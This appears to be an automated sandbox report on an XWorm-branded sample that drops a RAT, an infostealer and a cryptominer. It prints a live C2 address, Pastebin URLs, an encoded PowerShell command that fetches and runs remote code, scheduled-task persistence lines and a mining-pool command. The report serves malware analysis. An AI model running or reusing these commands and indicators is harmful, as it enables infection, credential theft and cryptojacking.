Analysis
- geolocation tags
- max time kernel
900s - max time network
904s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
08/11/2026, 19:32
General
- Target XWormV7.4.exe
- Size 22.3MB
- Sample261108-x88basez6s
- SHA256 aeceb4c4ec4dd9c59f59c5555ef1cef1c1ae2e20d7f5eace03cf1a1dd7a18482
Malware Config
Extracted
-
xworm
-
5.0
-
jfRiePBMkeGz1NpO
-
Install_directory
%AppData%
-
install_file
WindowsCore.exe
-
pastebin_url
https://pastebin.com/raw/T8Uf4sUn
Extracted
-
ratonrat
-
Free
-
20.127.185.243:4444
-
DvQYmMLqrhOJNK8XoKpC1Jm
-
assist
false
-
box
false
-
box_icon
No icon
-
box_msg
Hello, i'm the description of your raton client message box
-
box_title
Hello, im a title for your message box
-
defender
false
-
delay
0
-
hide_file
true
-
open_website
false
-
process_critical
false
-
raw
https://pastebin.com/raw/BN8zUVEu
-
reconnect
3
-
startup
true
-
tag
ctfmon
-
uac
false
-
vm
false
-
website
https://t.me/sillyisafed
Signatures
- Family: 751Stealer
751 Stealer is a Windows infostealer distributed as a .NET 8 single-file bundle that grabs browser data, files, and crypto wallets.
- Family: RatonRAT
RatonRAT is an information stealer written in C#.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 4 IoCs
- Detects RatonRAT payload 2 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 25 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 3 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Enumerates video capture drivers 2 TTPs 2 IoCs
Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.
- Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs
Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 2 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 15 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 33 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\XWormV7.4.exe"C:\Users\Admin\AppData\Local\Temp\XWormV7.4.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\XWorm V7.4.exe"C:\Users\Admin\AppData\Local\Temp\XWorm V7.4.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Xworm.exe"C:\Users\Admin\AppData\Local\Temp\Xworm.exe"2⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Enumerates video capture drivers
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsCore" /tr "C:\Users\Admin\AppData\Roaming\WindowsCore.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\jcwdqf.exe"C:\Users\Admin\AppData\Local\Temp\jcwdqf.exe"3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\tcz55sku.i12.ps1"5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ws4cebyu\ws4cebyu.cmdline"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES63B.tmp" "c:\Users\Admin\AppData\Local\Temp\ws4cebyu\CSC522328F859034CFB9376A7E818B77E90.TMP"7⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe"C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\jcrdxz.exe"C:\Users\Admin\AppData\Local\Temp\jcrdxz.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\cleanup_SPQCpTqq4hJd41GkqQ86TPM0YfGpZQ.bat""4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650015⤵
-
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak5⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\PlatformRuntime\jcrdxz.exe"C:\Users\Admin\AppData\Roaming\PlatformRuntime\jcrdxz.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "jcrdxz" /sc ONLOGON /tr "\"C:\Users\Admin\AppData\Roaming\PlatformRuntime\jcrdxz.exe\"" /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak5⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\knfygl.exe"C:\Users\Admin\AppData\Local\Temp\knfygl.exe"3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\trutheyes_4720\ce.exe"C:\Users\Admin\AppData\Local\Temp\trutheyes_4720\ce.exe" all -o "C:\Users\Admin\AppData\Local\Temp\trutheyes_4720\browsers"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\trutheyes_4720\ce.exe"C:\Users\Admin\AppData\Local\Temp\trutheyes_4720\ce.exe" all -o "C:\Users\Admin\AppData\Local\Temp\trutheyes_4720\stealer_dc3\browsers"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
-
-
C:\Windows\SYSTEM32\netsh.exenetsh wlan show profiles4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\SYSTEM32\netsh.exenetsh wlan show profiles4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist /FO CSV /NH4⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber4⤵
- Queries system WMI classes for hardware identifiers
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\ntuirk.exe"C:\Users\Admin\AppData\Local\Temp\ntuirk.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Enumerates video capture drivers
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsCore" /tr "C:\Users\Admin\AppData\Roaming\WindowsCore.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exeC:\Users\Admin\AppData\Roaming\WindowsCore.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\PlatformRuntime\jcrdxz.exe"C:\Users\Admin\AppData\Roaming\PlatformRuntime\jcrdxz.exe"1⤵
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe"C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig1⤵
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\WindowsCore.exe"C:\Users\Admin\AppData\Roaming\WindowsCore.exe"1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Peripheral Device Discovery
1Process Discovery
1Query Registry
6System Information Discovery
4System Network Configuration Discovery
3Internet Connection Discovery
1Wi-Fi Discovery
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
aforge.dll
aforge.video.directshow.dll
aforge.video.dll
costura.dll
microsoft.win32.registry.dll
naudio.asio.dll
naudio.core.dll
naudio.dll
naudio.midi.dll
naudio.wasapi.dll
naudio.winforms.dll
naudio.winmm.dll
newtonsoft.json.dll
stuff.dll
system.buffers.dll
system.memory.dll
system.numerics.vectors.dll
system.resources.extensions.dll
system.runtime.compilerservices.unsafe.dll
system.security.accesscontrol.dll
system.security.principal.windows.dll
RES63B.tmp
XWorm V7.4.exe
Xworm.exe
__PSScriptPolicyTest_zsdcipld.fif.psm1
jcrdxz.exe
jcwdqf.exe
knfygl.exe
ntuirk.exe
tcz55sku.i12.ps1
ce.exe
ws4cebyu.dll
cleanup_SPQCpTqq4hJd41GkqQ86TPM0YfGpZQ.bat
CSC522328F859034CFB9376A7E818B77E90.TMP
ws4cebyu.0.cs
ws4cebyu.cmdline
memory/724-80-0x0000029348910000-0x00000293492B4000-memory.dmp
memory/2736-67-0x0000024B1EF90000-0x0000024B1EFB4000-memory.dmp
memory/2736-63-0x0000024B1E9F0000-0x0000024B1EA0E000-memory.dmp
memory/2736-82-0x0000024B1EA00000-0x0000024B1EA08000-memory.dmp
memory/2736-83-0x0000024B1EF80000-0x0000024B1EFA7000-memory.dmp
memory/2736-68-0x0000024B1EF60000-0x0000024B1EF74000-memory.dmp
memory/2736-66-0x0000024B1EF90000-0x0000024B1EFBA000-memory.dmp
memory/2736-199-0x0000024B05C40000-0x0000024B065E4000-memory.dmp
memory/2736-179-0x0000024B05C40000-0x0000024B065E4000-memory.dmp
memory/2736-65-0x0000024B1EB20000-0x0000024B1EB2A000-memory.dmp
memory/2736-64-0x0000024B1EEA0000-0x0000024B1EF52000-memory.dmp
memory/2736-145-0x0000024B05C40000-0x0000024B065E4000-memory.dmp
memory/3016-56-0x000001506E130000-0x000001506EAD4000-memory.dmp
memory/3016-52-0x000001506EAE0000-0x000001506EB02000-memory.dmp
memory/3016-53-0x000001506F280000-0x000001506F442000-memory.dmp
memory/3852-33-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/3852-35-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/3852-19-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/3852-28-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/3852-21-0x00000000007A0000-0x0000000001DBC000-memory.dmp
memory/3852-32-0x000000001CB20000-0x000000001DE4C000-memory.dmp
memory/3852-31-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/3852-30-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/3852-20-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/3852-25-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/3852-23-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/3852-22-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/4708-34-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/4708-0-0x00007FFA6974F000-0x00007FFA69750000-memory.dmp
memory/4708-6-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/4708-4-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/4708-3-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/4708-2-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp
memory/4708-1-0x0000000000D00000-0x0000000002346000-memory.dmp
memory/5368-136-0x000001EAEEBF0000-0x000001EAEEBFA000-memory.dmp
memory/5368-92-0x000001EAEC1F0000-0x000001EAEC45A000-memory.dmp
memory/5628-192-0x0000000000750000-0x0000000000760000-memory.dmp
memory/5796-29-0x0000000000F00000-0x0000000000F1E000-memory.dmp